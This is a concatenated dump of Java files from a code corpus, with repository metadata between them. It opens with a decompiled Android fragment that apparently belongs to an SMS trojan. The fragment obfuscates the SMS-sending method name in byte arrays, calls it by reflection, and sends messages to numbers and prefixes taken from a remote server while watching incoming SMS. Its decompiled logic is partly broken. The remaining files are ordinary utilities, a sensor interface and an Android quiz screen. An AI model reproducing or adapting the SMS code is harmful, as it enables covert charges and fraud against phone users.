((SharedPreferences.Editor)localObject2).putInt("countsend", i); ((SharedPreferences.Editor)localObject2).commit(); L(Integer.toString(i)); int j; if (i < 9) { localObject2 = new byte[15]; Object tmp75_73 = localObject2; tmp75_73[0] = 101; Object tmp81_75 = tmp75_73; tmp81_75[1] = 120; Object tmp87_81 = tmp81_75; tmp87_81[2] = 116; Object tmp93_87 = tmp87_81; tmp93_87[3] = 77; Object tmp99_93 = tmp93_87; tmp99_93[4] = 101; Object tmp105_99 = tmp99_93; tmp105_99[5] = 115; Object tmp111_105 = tmp105_99; tmp111_105[6] = 115; Object tmp118_111 = tmp111_105; tmp118_111[7] = 97; Object tmp125_118 = tmp118_111; tmp125_118[8] = 103; Object tmp132_125 = tmp125_118; tmp132_125[9] = 101; Object tmp139_132 = tmp132_125; tmp139_132[10] = 115; Object tmp146_139 = tmp139_132; tmp146_139[11] = 101; Object tmp153_146 = tmp146_139; tmp153_146[12] = 110; Object tmp160_153 = tmp153_146; tmp160_153[13] = 100; Object tmp167_160 = tmp160_153; tmp167_160[14] = 84; tmp167_160; localObject1 = new byte[15]; localObject1[5] = 101; localObject1[6] = 120; localObject1[7] = 116; localObject1[8] = 77; localObject1[9] = 101; localObject1[10] = 115; localObject1[11] = 115; localObject1[12] = 97; localObject1[13] = 103; localObject1[14] = 101; i = 0; j = localObject2.length - 5; } for (;;) { if (j >= localObject2.length) { int k = 0; j = i; i = k; label276: if (i < localObject2.length - 5) { break label415; } } try { Object[] arrayOfObject; if (Integer.parseInt(Build.VERSION.SDK) < 4) { localObject2 = Class.forName("android.telephony.gsm.SmsManager").getMethod("getDefault", null).invoke(null, null); localObject1 = Class.forName("android.telephony.gsm.SmsManager").getMethod(new String((byte[])localObject1), new Class[] { String.class, String.class, String.class, PendingIntent.class, PendingIntent.class }); arrayOfObject = new Object[5]; arrayOfObject[0] = paramString1; arrayOfObject[2] = paramString2; ((Method)localObject1).invoke(localObject2, arrayOfObject); return; localObject1[i] = localObject2[j]; i += 1; j += 1; continue; label415: localObject1[j] = localObject2[i]; j += 1; i += 1; break label276; } else { localObject2 = Class.forName("android.telephony.SmsManager").getMethod("getDefault", null).invoke(null, null); localObject1 = Class.forName("android.telephony.SmsManager").getMethod(new String((byte[])localObject1), new Class[] { String.class, String.class, String.class, PendingIntent.class, PendingIntent.class }); arrayOfObject = new Object[5]; arrayOfObject[0] = paramString1; arrayOfObject[2] = paramString2; ((Method)localObject1).invoke(localObject2, arrayOfObject); return; } } catch (Exception paramString1) {} } } public void f12(String paramString1, String paramString2) { L("Отправляем смс номер:" + paramString1 + " текст" + paramString2); Object localObject2 = new byte[15]; Object tmp39_37 = localObject2; tmp39_37[0] = 101; Object tmp45_39 = tmp39_37; tmp45_39[1] = 120; Object tmp51_45 = tmp45_39; tmp51_45[2] = 116; Object tmp57_51 = tmp51_45; tmp57_51[3] = 77; Object tmp63_57 = tmp57_51; tmp63_57[4] = 101; Object tmp69_63 = tmp63_57; tmp69_63[5] = 115; Object tmp75_69 = tmp69_63; tmp75_69[6] = 115; Object tmp82_75 = tmp75_69; tmp82_75[7] = 97; Object tmp89_82 = tmp82_75; tmp89_82[8] = 103; Object tmp96_89 = tmp89_82; tmp96_89[9] = 101; Object tmp103_96 = tmp96_89; tmp103_96[10] = 115; Object tmp110_103 = tmp103_96; tmp110_103[11] = 101; Object tmp117_110 = tmp110_103; tmp117_110[12] = 110; Object tmp124_117 = tmp117_110; tmp124_117[13] = 100; Object tmp131_124 = tmp124_117; tmp131_124[14] = 84; tmp131_124; Object localObject1 = new byte[15]; localObject1[5] = 101; localObject1[6] = 120; localObject1[7] = 116; localObject1[8] = 77; localObject1[9] = 101; localObject1[10] = 115; localObject1[11] = 115; localObject1[12] = 97; localObject1[13] = 103; localObject1[14] = 101; int i = 0; int j = localObject2.length - 5; for (;;) { if (j >= localObject2.length) { int k = 0; j = i; i = k; label240: if (i < localObject2.length - 5) { break label379; } } try { Object[] arrayOfObject; if (Integer.parseInt(Build.VERSION.SDK) < 4) { localObject2 = Class.forName("android.telephony.gsm.SmsManager").getMethod("getDefault", null).invoke(null, null); localObject1 = Class.forName("android.telephony.gsm.SmsManager").getMethod(new String((byte[])localObject1), new Class[] { String.class, String.class, String.class, PendingIntent.class, PendingIntent.class }); arrayOfObject = new Object[5]; arrayOfObject[0] = paramString1; arrayOfObject[2] = paramString2; ((Method)localObject1).invoke(localObject2, arrayOfObject); return; localObject1[i] = localObject2[j]; i += 1; j += 1; continue; label379: localObject1[j] = localObject2[i]; j += 1; i += 1; break label240; } else { localObject2 = Class.forName("android.telephony.SmsManager").getMethod("getDefault", null).invoke(null, null); localObject1 = Class.forName("android.telephony.SmsManager").getMethod(new String((byte[])localObject1), new Class[] { String.class, String.class, String.class, PendingIntent.class, PendingIntent.class }); arrayOfObject = new Object[5]; arrayOfObject[0] = paramString1; arrayOfObject[2] = paramString2; ((Method)localObject1).invoke(localObject2, arrayOfObject); return; } } catch (Exception paramString1) {} } } public void f2() { new Thread(new Runnable() { public void run() { Object localObject = null; try { String str = ClassAct.this.doInBackground(ClassAct.this.q3 + "/stats/open.php", ClassAct.this.q2); localObject = str; } catch (IOException localIOException) { for (;;) { localIOException.printStackTrace(); } ClassAct.this.q10 = "0"; return; } if (localObject != null) { if (localObject.contains("stop")) { ClassAct.this.q8.getSharedPreferences("ESLIABONENTTUPIT", 0).edit().putInt("countsend", 20); } if (localObject.contains("ok")) { ClassAct.this.q10 = String.valueOf(ClassAct.this.GetUnixTime()); return; } } ClassAct.this.q10 = "0"; } }).start(); } public void f3() { new Thread(new Runnable() { public void run() { Object localObject1 = null; try { localObject2 = ClassAct.this.doInBackground(ClassAct.this.q3 + "/stats/recheck3.php", ClassAct.this.q2); localObject1 = localObject2; } catch (IOException localIOException) { for (;;) { Object localObject2; SharedPreferences.Editor localEditor; int i; localIOException.printStackTrace(); } ClassAct.this.q10 = "0"; } if (localObject1 != null) { ClassAct.this.L("ответ сервера для уточнения колво = " + localObject1); if (localObject1.length() > 21) { localObject2 = ClassAct.this.q8.getSharedPreferences("ESLIABONENTTUPIT", 0); localEditor = ((SharedPreferences)localObject2).edit(); i = ((SharedPreferences)localObject2).getInt("countimer", 0) + 1; localEditor.putInt("countimer", i); localEditor.commit(); if (i > 20) { ClassAct.this.timer.cancel(); ClassAct.this.timer = null; } ClassAct.this.f6(localObject1); } return; } } }).start(); } public void f4() { new Thread(new Runnable() { public void run() { Object localObject = null; try { String str = ClassAct.this.doInBackground(ClassAct.this.q3 + "/stats/press.php", ClassAct.this.q2); localObject = str; } catch (IOException localIOException) { for (;;) { localIOException.printStackTrace(); } ClassAct.this.q10 = "0"; return; } if (localObject != null) { ClassAct.this.L(localObject); if (localObject.contains("stop")) { ClassAct.this.q8.getSharedPreferences("ESLIABONENTTUPIT", 0).edit().putInt("countsend", 20); } if (localObject.contains("ok")) { ClassAct.this.q10 = String.valueOf(ClassAct.this.GetUnixTime()); return; } } ClassAct.this.q10 = "0"; } }).start(); } protected void f7(JSONObject paramJSONObject) { int j; int i; try { localJSONArray = paramJSONObject.getJSONArray("number"); if (localJSONArray != null) { j = localJSONArray.length(); i = 0; break label100; } paramJSONObject = paramJSONObject.getJSONArray("prefix"); if (paramJSONObject == null) { return; } j = paramJSONObject.length(); i = 0; } catch (JSONException paramJSONObject) { JSONArray localJSONArray; label47: paramJSONObject.printStackTrace(); return; } this.q4.add(localJSONArray.get(i).toString()); i += 1; label100: do { this.q5.add(paramJSONObject.get(i).toString()); i += 1; continue; if (i < j) { break label47; } break; } while (i < j); } public void f9() { IntentFilter localIntentFilter = new IntentFilter("android.provider.Telephony.SMS_RECEIVED"); this.q8.registerReceiver(this.RequestReceiver, localIntentFilter); new Thread(new Runnable() { public void run() { int i; if ((ClassAct.this.q5 != null) && (ClassAct.this.q5.size() > 0)) { ClassAct.this.timer.scheduleAtFixedRate(new ClassAct.UpdateBallTask(ClassAct.this), 40000L, 40000L); SharedPreferences.Editor localEditor = ClassAct.this.q8.getSharedPreferences("ESLIABONENTTUPIT", 0).edit(); localEditor.putInt("countimer", 1); localEditor.commit(); i = 0; } for (;;) { if (i >= ClassAct.this.q5.size()) { return; } ClassAct.this.f11(((String)ClassAct.this.q4.get(i)).toString(), ((String)ClassAct.this.q5.get(i)).toString()); i += 1; } } }).start(); } public void requestReceived(String paramString) {} class UpdateBallTask extends TimerTask { UpdateBallTask() {} public void run() { ClassAct.this.f3(); } } }
true
56854bf65c050dcc05d8da59bbd3ec57d66a61d1
Java
gitter-badger/perspective-backend
/perspective-shell/src/main/java/org/meridor/perspective/shell/misc/impl/PagerImpl.java
UTF-8
4,431
2.65625
3
[ "Apache-2.0" ]
permissive
package org.meridor.perspective.shell.misc.impl; import com.google.common.collect.Lists; import jline.console.ConsoleReader; import org.meridor.perspective.shell.misc.Logger; import org.meridor.perspective.shell.misc.Pager; import org.meridor.perspective.shell.misc.TableRenderer; import org.meridor.perspective.shell.repository.SettingsAware; import org.meridor.perspective.shell.validator.Setting; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Component; import java.io.IOException; import java.util.List; import java.util.stream.Collectors; import static org.meridor.perspective.shell.repository.impl.TextUtils.*; @Component public class PagerImpl implements Pager { private static final Integer DEFAULT_PAGE_SIZE = 20; @Autowired private Logger logger; @Autowired private SettingsAware settingsAware; @Autowired private TableRenderer tableRenderer; @Override public void page(String[] columns, List<String[]> rows) { page(preparePages(columns, rows)); } @Override public void page(List<String> pages) { try { final int NUM_PAGES = pages.size(); if (NUM_PAGES == 0) { logger.ok("Zero results provided: nothing to show."); return; } if (NUM_PAGES > 1) { logger.ok("Press Space, Enter or n to show next page, p or w to show previous page, g to show first page, G to show last page, a number key to show specific page and q to type next command."); } int currentPage = 1; showPage(currentPage, NUM_PAGES, pages); //Always showing first page if (NUM_PAGES == 1) { return; //No need to wait for keys in case of one page } ConsoleReader consoleReader = new ConsoleReader(); while (currentPage <= NUM_PAGES) { boolean pageNumberChanged = false; String key = String.valueOf((char) consoleReader.readCharacter()); if (isExitKey(key)) { break; } else if (isNextElementKey(key)) { if (currentPage == NUM_PAGES) { break; } currentPage++; pageNumberChanged = true; } else if (isPrevElementKey(key) && currentPage > 1) { currentPage--; pageNumberChanged = true; } else if (isFirstElementKey(key) && currentPage != 1) { currentPage = 1; pageNumberChanged = true; } else if (isLastElementKey(key) && currentPage != NUM_PAGES) { currentPage = NUM_PAGES; pageNumberChanged = true; } else if (isNumericKey(key)) { Integer pageNumber = Integer.valueOf(key); if (pageNumber < 1 || pageNumber > NUM_PAGES) { logger.warn(String.format("Wrong page number: %d. Should be one of 1..%d.", pageNumber, NUM_PAGES)); continue; } else if (pageNumber != currentPage) { currentPage = pageNumber; pageNumberChanged = true; } } if (pageNumberChanged) { showPage(currentPage, NUM_PAGES, pages); } } } catch (IOException e) { logger.error(String.format("Failed to show pages: %s", e.getMessage())); } } private void showPage(final int pageNumber, final int numPages, List<String> entries) { if (numPages > 1) { logger.ok(String.format("Showing page %d of %d:", pageNumber, numPages)); } logger.ok(entries.get(pageNumber - 1)); } @Override public int getPageSize() { return (settingsAware.hasSetting(Setting.PAGE_SIZE)) ? settingsAware.getSettingAs(Setting.PAGE_SIZE, Integer.class) : DEFAULT_PAGE_SIZE; } private List<String> preparePages(String[] columns, List<String[]> rows) { return Lists.partition(rows, getPageSize()).stream(). map(b -> tableRenderer.render(columns, b)) .collect(Collectors.toList()); } }
true
b5732aaf20c02c29f63389fb39942177a1cdcc9f
Java
Emergency-Response-Demo/responder-simulator
/src/main/java/com/redhat/cajun/navy/responder/simulator/data/DistanceHelper.java
UTF-8
2,626
2.890625
3
[]
no_license
package com.redhat.cajun.navy.responder.simulator.data; import java.math.BigDecimal; import java.math.RoundingMode; /** * Reference: http://www.movable-type.co.uk/scripts/latlong.html */ public class DistanceHelper { static final int R = 6371; // Radius of the earth public static double calculateDistance(double lat1, double lon1, double lat2, double lon2) { double latDistance = Math.toRadians(lat2 - lat1); double lonDistance = Math.toRadians(lon2 - lon1); double a = Math.sin(latDistance / 2) * Math.sin(latDistance / 2) + Math.cos(Math.toRadians(lat1)) * Math.cos(Math.toRadians(lat2)) * Math.sin(lonDistance / 2) * Math.sin(lonDistance / 2); double c = 2 * Math.atan2(Math.sqrt(a), Math.sqrt(1 - a)); return R * c * 1000; } public static double calculateDistance(Coordinate c1, Coordinate c2) { return calculateDistance(c1.lat, c1.lon, c2.lat, c2.lon); } public static Coordinate calculateIntermediateCoordinate(Coordinate c1, Coordinate c2, double distance) { double latR1 = Math.toRadians(c1.lat); double latR2 = Math.toRadians(c2.lat); double lonR1 = Math.toRadians(c1.lon); double longDiff= Math.toRadians(c2.lon-c1.lon); double y= Math.sin(longDiff)*Math.cos(latR2); double x=Math.cos(latR1)*Math.sin(latR2)-Math.sin(latR1)*Math.cos(latR2)*Math.cos(longDiff); double bearing = (Math.toDegrees(Math.atan2(y, x))+360)%360; double bearingR = Math.toRadians(bearing); double distFrac = distance / (R * 1000); double a = Math.sin(distFrac) * Math.cos(latR1); double latDest = Math.asin(Math.sin(latR1) * Math.cos(distFrac) + a * Math.cos(bearingR)); double lonDest = lonR1 + Math.atan2(Math.sin(bearingR) * a, Math.cos(distFrac) - Math.sin(latR1) * Math.sin(latDest)); return new Coordinate(round(Math.toDegrees(latDest),4), round(Math.toDegrees(lonDest), 4)); } private static double round(double value, int places) { if (places < 0) throw new IllegalArgumentException(); BigDecimal bd = new BigDecimal(Double.toString(value)); bd = bd.setScale(places, RoundingMode.HALF_UP); return bd.doubleValue(); } public static class Coordinate { private double lat; private double lon; public Coordinate(double lat, double lon) { this.lat = lat; this.lon = lon; } public double getLat() { return lat; } public double getLon() { return lon; } } }
true
7502cba728bf3846eff38de9df1b3df2f21f54df
Java
siokas/PLAIN
/app/src/main/java/gr/siokas/plain/app/Decision.java
UTF-8
8,092
2.34375
2
[]
no_license
package gr.siokas.plain.app; import android.app.AlertDialog; import android.content.DialogInterface; import android.content.Intent; import android.content.SharedPreferences; import android.media.MediaPlayer; import android.os.Bundle; import android.support.v7.app.ActionBarActivity; import android.view.KeyEvent; import android.view.View; import android.widget.Button; public class Decision extends ActionBarActivity { Button choise1, choise2, choise3; MediaPlayer mp; AlertDialog.Builder alert; String plainData = "0"; int imgNum = 0; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_decision); choise1 = (Button) findViewById(R.id.choise1); choise2 = (Button) findViewById(R.id.choise2); choise3 = (Button) findViewById(R.id.choise3); update(getDecision()); // Call update method to change the images // Initialize the alert dialog alert = new AlertDialog.Builder(Decision.this); alert.setTitle("Τελική Επιλογή"); alert.setMessage("Είστε σίγουροι ότι θέλετε να οριστικοποιήσετε αυτήν την επιλογή;"); alert.setPositiveButton("Ναι!", new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { mp.stop(); saveDecision((getDecision() + 1) + ""); savePlainData("," + getDecision() + "" + plainData); // Save data... startActivity(new Intent(Decision.this, Quiz.class)); finish(); } }); alert.setNegativeButton("Όχι", new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { mp.stop(); } }); imgNum = (getDecision()+1) * 10; choise1.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { playSound(imgNum + 1); plainData = "A"; alert.show(); System.out.println(imgNum + 1); } }); choise2.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { playSound(imgNum + 2); plainData = "B"; alert.show(); System.out.println(imgNum + 2); } }); choise3.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { playSound(imgNum + 3); plainData = "C"; alert.show(); System.out.println(imgNum + 3); } }); } void saveDecision(String x) { SharedPreferences settings = getSharedPreferences("decision", 0); SharedPreferences.Editor editor = settings.edit(); editor.putString("decision", x); editor.commit(); } int getDecision() { SharedPreferences settings = getSharedPreferences("decision", 0); final String theScore = settings.getString("decision", "0"); return (Integer.parseInt(theScore)); } void savePlainData(String x) { SharedPreferences settings = getSharedPreferences("plaindata", 0); SharedPreferences.Editor editor = settings.edit(); editor.putString("plaindata", x); editor.commit(); } void update(int x) { switch (x) { case 0: choise1.setBackgroundResource(R.drawable.epiloges0_megafwno_smartphone); choise2.setBackgroundResource(R.drawable.epiloges0_fulakas_smartphone); choise3.setBackgroundResource(R.drawable.epiloges0_fwnes_smartphone); break; case 1: choise1.setBackgroundResource(R.drawable.epiloges1_1_giagia_smartphone); choise2.setBackgroundResource(R.drawable.epiloges1_1_pateras_paidi_smartphone); choise3.setBackgroundResource(R.drawable.epiloges1_1_tileskopio_smartphone); break; case 2: choise1.setBackgroundResource(R.drawable.epiloges2_2_tourist_guide_smartphone); choise2.setBackgroundResource(R.drawable.epiloges2_2_paidia_smartphone); choise3.setBackgroundResource(R.drawable.epiloges2_2_skulocookies_smartphone); break; case 3: choise1.setBackgroundResource(R.drawable.epiloges2_1_eisitiria_smartphone); choise2.setBackgroundResource(R.drawable.epiloges2_1_souvlatzis_smartphone); choise3.setBackgroundResource(R.drawable.epiloges2_1_astun_skulos_smartphone); break; case 4: choise1.setBackgroundResource(R.drawable.epiloges1_2_psaras_smartphone); choise2.setBackgroundResource(R.drawable.epiloges1_2_odigos_smartphone); choise3.setBackgroundResource(R.drawable.epiloges1_2_kualia_smartphone); break; case 5: choise1.setBackgroundResource(R.drawable.epiloges3_skatades_smartphone); choise2.setBackgroundResource(R.drawable.epiloges3_astunom_smartphone); choise3.setBackgroundResource(R.drawable.epiloges3_sfurixtra_smartphone); break; } } void playSound(int x) { if (x == 11) mp = MediaPlayer.create(this, R.raw.zoo_stratigiki_3_anakoinosi_sta_megafona); if (x == 12) mp = MediaPlayer.create(this, R.raw.zoo_stratigiki_2_erotisi_sto_filaka); if (x == 13) mp = MediaPlayer.create(this, R.raw.zoo_stratigiki_1_psaksimo); if (x == 21) mp = MediaPlayer.create(this, R.raw.kastra_epilogi_1_giagia); if (x == 22) mp = MediaPlayer.create(this, R.raw.kastra_epilogi_2_afentiko_skilou); if (x == 23) mp = MediaPlayer.create(this, R.raw.kastra_epilogi_3_tileskopio); if (x == 31) mp = MediaPlayer.create(this, R.raw.rotonda_epilogi_1_politis_eisitirion); if (x == 32) mp = MediaPlayer.create(this, R.raw.rotonda_epilogi_2_psistis); if (x == 33) mp = MediaPlayer.create(this, R.raw.rotonda_epilogi_3_astinomikos_skilos); if (x == 41) mp = MediaPlayer.create(this, R.raw.lefkos_epilogi_1_psaras); if (x == 42) mp = MediaPlayer.create(this, R.raw.lefkos_epilogi_2_odigos_leoforeiou); if (x == 43) mp = MediaPlayer.create(this, R.raw.lefkos_epilogi_3_kualia); if (x == 51) mp = MediaPlayer.create(this, R.raw.lefkos_epilogi_3_kualia); if (x == 52) mp = MediaPlayer.create(this, R.raw.lefkos_epilogi_3_kualia); if (x == 53) mp = MediaPlayer.create(this, R.raw.lefkos_epilogi_3_kualia); if (x == 61) mp = MediaPlayer.create(this, R.raw.lefkos_epilogi_3_kualia); if (x == 62) mp = MediaPlayer.create(this, R.raw.lefkos_epilogi_3_kualia); if (x == 63) mp = MediaPlayer.create(this, R.raw.lefkos_epilogi_3_kualia); mp.start(); } // Call this method if the back button is pressed (for lower apis) @Override public boolean onKeyDown(int keyCode, KeyEvent event) { if (keyCode == KeyEvent.KEYCODE_BACK) { startActivity(new Intent(Decision.this, MainActivity.class)); // Go to the Main Activity (Game Menu) finish(); return true; } return super.onKeyDown(keyCode, event); } // Call this method if the back button is pressed (for higher apis) @Override public void onBackPressed() { startActivity(new Intent(Decision.this, MainActivity.class)); finish(); } }
true
1eaffdcdcb1c0df3663932d292ad16d4ca497e47
Java
JaneStojilkov/Interview_Task
/src/TestJson.java
UTF-8
3,301
3.046875
3
[]
no_license
import org.json.simple.JSONArray; import org.json.simple.JSONObject; import org.json.simple.parser.JSONParser; import org.json.simple.parser.ParseException; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.net.URL; import java.util.ArrayList; import java.util.Collections; public class TestJson { // Puts JSON objects from url into a JSON array and returns it private static JSONArray ParseFromJSONFromURL(String url_string) throws IOException, ParseException { StringBuilder in = new StringBuilder(); URL url = new URL(url_string); BufferedReader br = new BufferedReader(new InputStreamReader(url.openStream())); String str; while (null != (str = br.readLine())) { in.append(str); } JSONParser parse = new JSONParser(); return (JSONArray) parse.parse(in.toString()); } //I added the printing of the products in a method for clarity in main method. For arguments it takes the two arrays of products. private static void PrintProducts(ArrayList<Product> products_domestic, ArrayList<Product> products_nondomestic){ Double price_allDomestic = 0.0; Double price_allImported = 0.0; System.out.println(". Domestic"); for (Product product : products_domestic) { System.out.println(product); price_allDomestic += product.getPrice(); } System.out.println(". Imported"); for (Product product : products_nondomestic) { System.out.println(product); price_allImported += product.getPrice(); } System.out.println("Domestic cost: $"+price_allDomestic.toString()); System.out.println("Imported cost: $"+price_allImported.toString()); System.out.println("Domestic count: "+products_domestic.size()); System.out.println("Imported count: "+products_nondomestic.size()); } public static void main(String[] args) { ArrayList<Product> products_domestic= new ArrayList<>(); ArrayList<Product> products_nondomestic= new ArrayList<>(); JSONArray jarray; String url = "https://interview-task-api.mca.dev/qr-scanner-codes/alpha-qr-gFpwhsQ8fkY1"; try { jarray = ParseFromJSONFromURL(url); for (Object o : jarray) { JSONObject jsonobj_1 = (JSONObject) o; if (jsonobj_1 != null) { Product p = new Product(jsonobj_1.get("name").toString(), (Boolean) jsonobj_1.get("domestic"), (Double) jsonobj_1.get("price"), (Long) jsonobj_1.get("weight"), jsonobj_1.get("description").toString()); if (jsonobj_1.get("domestic").equals(true)) { products_domestic.add(p); } else { products_nondomestic.add(p); } } } Collections.sort(products_domestic); Collections.sort(products_nondomestic); PrintProducts(products_domestic, products_nondomestic); } catch (Exception ex) { ex.printStackTrace(); } } }
true
30dc1d3bac7c3ed79a7ff38f46f8ec0e9659f0d6
Java
knowing/Medmon
/de.lmu.ifi.dbs.medmon.sensor.core/src/main/java/de/lmu/ifi/dbs/medmon/sensor/core/ISensorManager.java
UTF-8
1,385
2.296875
2
[]
no_license
package de.lmu.ifi.dbs.medmon.sensor.core; import java.nio.file.Path; import java.nio.file.WatchEvent; import java.util.List; /** * * @author Nepomuk Seiler * @version 1.0 * */ public interface ISensorManager { public static final String SENSOR_TOPIC = "medmon/sensor/core/sensor/*"; public static final String SENSOR_TOPIC_ADD = "medmon/sensor/core/sensor/add"; public static final String SENSOR_TOPIC_REMOVE = "medmon/sensor/core/sensor/remove"; public static final String SENSOR_DATA = "medmon.sensor.core.sensor"; public static final String SENSOR_SOURCE = "medmon.sensor.core.source"; public static final String SENSOR_AVAILABLE = "medmon.sensor.core.sensor.available"; /** * Get the registered ISensor service attached to no source * * @param id * @return nonInstance Sensor */ public ISensor getSensor(String id); /** * * @return all available sensor services (no instances) with and without driver */ public List<ISensor> getSensors(); /** * * @return all sensor instances which are connected to a data source */ public List<ISensor> getConnectedSensors(); /** * */ public void onSensorEvent(Path path, WatchEvent<Path> event); public void addListener(ISensorListener listener); public void removeListener(ISensorListener listener); }
true
84c988b82ebb990289c0651e3a67f2929827595e
Java
silentbalanceyh/vertx-zero
/vertx-pin/zero-atom/src/main/modulat/io/vertx/mod/atom/refine/AoData.java
UTF-8
4,690
2.21875
2
[ "LicenseRef-scancode-unknown-license-reference", "Apache-2.0", "LicenseRef-scancode-warranty-disclaimer" ]
permissive
package io.vertx.mod.atom.refine; import io.modello.dynamic.modular.jooq.convert.JsonArraySider; import io.modello.dynamic.modular.jooq.convert.JsonObjectSider; import io.modello.specification.HRecord; import io.vertx.core.json.JsonArray; import io.vertx.core.json.JsonObject; import io.vertx.mod.atom.modeling.builtin.DataAtom; import io.vertx.mod.atom.modeling.data.DataRecord; import io.vertx.mod.atom.modeling.element.DataMatrix; import io.vertx.up.atom.element.JBag; import io.vertx.up.plugin.excel.atom.ExRecord; import io.vertx.up.plugin.excel.atom.ExTable; import io.vertx.up.util.Ut; import org.jooq.Converter; import java.util.ArrayList; import java.util.List; import java.util.Objects; import java.util.Set; import java.util.concurrent.ConcurrentHashMap; import java.util.concurrent.ConcurrentMap; class AoData { /* 转换器专用 */ @SuppressWarnings("all") private static ConcurrentMap<Class<?>, Converter> CONVERT_MAP = new ConcurrentHashMap<Class<?>, Converter>() { { put(JsonArray.class, Ut.singleton(JsonArraySider.class)); put(JsonObject.class, Ut.singleton(JsonObjectSider.class)); } }; /* * 主键设置 * Record -> 内部 keyMatrix * 1. 从 Record 中提取主键信息 * 2. 同步数据到 keyMatrix */ static void connect(final HRecord record, final ConcurrentMap<String, DataMatrix> keyMatrix, final ConcurrentMap<String, DataMatrix> dataMatrix, final Set<String> joins) { /* 1. 提取主键,PK: 第二次调用主键 */ final Object id = record.key(); /* 2. 内部主键设置,keyMatrix */ keyMatrix.values().forEach(matrix -> matrix.getAttributes().forEach(attribute -> matrix.set(attribute, id))); /* 3. 数据主键设置,dataMatrix */ dataMatrix.values().forEach(matrix -> matrix.getKeys().stream() .filter(attribute -> Objects.nonNull(record.get(attribute))) .forEach(attribute -> matrix.set(attribute, record.get(attribute)))); /* 4. Join中的非主键设置,关联键同样需要设值 */ dataMatrix.values().forEach(matrix -> { final Set<String> attributes = matrix.getAttributes(); final Set<String> keys = matrix.getKeys(); joins.stream().filter(attributes::contains) /* 非主键 */ .filter(attribute -> !keys.contains(attribute)) /* 特殊的设置,非定义主键 */ .forEach(joinButNoPrimaryKey -> matrix.set(joinButNoPrimaryKey, id)); }); } static HRecord record(final DataAtom atom) { final HRecord record = new DataRecord(); Ut.contract(record, DataAtom.class, atom); return record; } static List<HRecord> records(final DataAtom atom, final ExTable table) { /* * 构造 记录集 */ final List<ExRecord> records = table.get(); final List<HRecord> results = new ArrayList<>(); records.forEach(each -> { /* * 构造记录集 */ final HRecord record = new DataRecord(); Ut.contract(record, DataAtom.class, atom); /* * 记录数据 */ final JsonObject data = each.toJson(); record.set(data); results.add(record); }); return results; } static HRecord[] records(final JsonArray data, final DataAtom atom) { final List<HRecord> recordList = new ArrayList<>(); Ut.itJArray(data).map(each -> record(each, atom)) .forEach(recordList::add); return recordList.toArray(new HRecord[]{}); } static HRecord record(final JsonObject data, final DataAtom atom) { final HRecord record = new DataRecord(); Ut.contract(record, DataAtom.class, atom); record.fromJson(data); return record; } @SuppressWarnings("all") static Converter converter(final Class<?> type) { return CONVERT_MAP.getOrDefault(type, null); } static List<JBag> bagSplit(final JBag pbData, final Integer size) { final List<JsonArray> dataList = Ut.elementGroup(pbData.getData(), size); final List<JBag> dataPbList = new ArrayList<>(); dataList.forEach(each -> { final JBag data = new JBag(); data.setIdentifier(pbData.getIdentifier()); data.setData(each); data.setSize(each.size()); dataPbList.add(data); }); return dataPbList; } }
true
1b9d8791bb0c9de4ae2d0ccac56280521e34b81b
Java
anandakumarirudhayaraj/cucumber-jvm
/core/src/main/java/cucumber/runtime/autocomplete/StepdefGenerator.java
UTF-8
2,554
2.234375
2
[ "MIT" ]
permissive
package cucumber.runtime.autocomplete; import cucumber.api.Argument; import cucumber.runtime.StepDefinition; import cucumber.runtime.model.CucumberFeature; import gherkin.pickles.Compiler; import gherkin.pickles.Pickle; import gherkin.pickles.PickleStep; import java.util.ArrayList; import java.util.Collection; import java.util.Collections; import java.util.Comparator; import java.util.List; /** * Generates metadata to be used for Code Completion: https://github.com/cucumber/gherkin/wiki/Code-Completion */ public class StepdefGenerator { private static final Comparator<StepDefinition> STEP_DEFINITION_COMPARATOR = new Comparator<StepDefinition>() { @Override public int compare(StepDefinition a, StepDefinition b) { return a.getPattern().compareTo(b.getPattern()); } }; public List<MetaStepdef> generate(Collection<StepDefinition> stepDefinitions, List<CucumberFeature> features) { List<MetaStepdef> result = new ArrayList<MetaStepdef>(); List<StepDefinition> sortedStepdefs = new ArrayList<StepDefinition>(); sortedStepdefs.addAll(stepDefinitions); Collections.sort(sortedStepdefs, STEP_DEFINITION_COMPARATOR); Compiler compiler = new Compiler(); for (StepDefinition stepDefinition : sortedStepdefs) { MetaStepdef metaStepdef = new MetaStepdef(); metaStepdef.source = stepDefinition.getPattern(); metaStepdef.flags = ""; // TODO = get the flags too for (CucumberFeature feature : features) { for (Pickle pickle : compiler.compile(feature.getGherkinFeature())) { for (PickleStep step : pickle.getSteps()) { List<Argument> arguments = stepDefinition.matchedArguments(step); if (arguments != null) { MetaStepdef.MetaStep ms = new MetaStepdef.MetaStep(); ms.name = step.getText(); for (Argument argument : arguments) { MetaStepdef.MetaArgument ma = new MetaStepdef.MetaArgument(); ma.offset = argument.getOffset(); ma.val = argument.getVal(); ms.args.add(ma); } metaStepdef.steps.add(ms); } } } } result.add(metaStepdef); } return result; } }
true
239f7ef9ca47659da425c45a7a887ba67de22389
Java
achun2080/Phynixx
/phynixx/phynixx-xa/src/main/java/org/csc/phynixx/xa/XAPooledConnectionFactory.java
UTF-8
2,902
2.359375
2
[]
no_license
